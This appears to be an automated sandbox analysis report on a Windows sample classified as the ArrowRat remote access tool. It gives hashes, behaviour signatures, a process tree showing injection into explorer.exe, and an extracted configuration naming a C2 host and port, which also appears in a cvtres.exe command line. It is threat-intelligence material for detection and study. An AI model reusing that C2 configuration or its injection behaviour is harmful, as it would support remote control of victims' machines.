Analysis

  • max time kernel
    138s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • submitted
    03/08/2022, 13:16

General

  • Target
    7b2ec8aedfd42a95a5994dff19115471.exe
  • Size 138KB
  • Sample220803-qhsdtsbdg2
  • SHA256 5d573461fbe87a4441a12b5b61a3b74019aa21a784f9cf4410e1da100a55c792
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • arrowrat

Botnet
  • WQ0CSG

C2
  • Pandorace.ddnsgeek.com:1338

Mutex
  • XPL7P6

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 10 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 56 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7b2ec8aedfd42a95a5994dff19115471.exe
    "C:\Users\Admin\AppData\Local\Temp\7b2ec8aedfd42a95a5994dff19115471.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:528
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4224
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" WQ0CSG Pandorace.ddnsgeek.com 1338 XPL7P6
      2⤵
        PID:4656
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2536
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Enumerates system info in registry
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:5036

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/528-130-0x000001EA63B30000-0x000001EA63B58000-memory.dmp

          memory/528-134-0x00007FF80E210000-0x00007FF80ECD1000-memory.dmp

          memory/528-146-0x00007FF80E210000-0x00007FF80ECD1000-memory.dmp

          memory/4656-132-0x0000000000400000-0x0000000000416000-memory.dmp

          memory/4656-135-0x0000000005540000-0x00000000055D2000-memory.dmp

          memory/4656-136-0x0000000005650000-0x00000000056EC000-memory.dmp

          memory/4656-137-0x0000000005E90000-0x0000000006434000-memory.dmp

          memory/4656-138-0x0000000005D90000-0x0000000005DF6000-memory.dmp

          memory/4656-139-0x0000000006640000-0x0000000006690000-memory.dmp

          memory/5036-155-0x0000023A0EF40000-0x0000023A0EF60000-memory.dmp

          memory/5036-233-0x0000023A12174000-0x0000023A12178000-memory.dmp

          memory/5036-152-0x0000023A22130000-0x0000023A22230000-memory.dmp

          memory/5036-149-0x0000023A11FB0000-0x0000023A11FD0000-memory.dmp

          memory/5036-163-0x0000023A12030000-0x0000023A12050000-memory.dmp

          memory/5036-224-0x0000023A12137000-0x0000023A1213A000-memory.dmp

          memory/5036-225-0x0000023A12137000-0x0000023A1213A000-memory.dmp

          memory/5036-226-0x0000023A12137000-0x0000023A1213A000-memory.dmp

          memory/5036-227-0x0000023A12137000-0x0000023A1213A000-memory.dmp

          memory/5036-150-0x000002320C1C8000-0x000002320C1D0000-memory.dmp

          memory/5036-234-0x0000023A12174000-0x0000023A12178000-memory.dmp

          memory/5036-235-0x0000023A12174000-0x0000023A12178000-memory.dmp

          memory/5036-236-0x0000023A12174000-0x0000023A12178000-memory.dmp

          memory/5036-237-0x0000023A12174000-0x0000023A12178000-memory.dmp

          memory/5036-240-0x0000023A12178000-0x0000023A1217B000-memory.dmp

          memory/5036-241-0x0000023A12178000-0x0000023A1217B000-memory.dmp

          memory/5036-242-0x0000023A12178000-0x0000023A1217B000-memory.dmp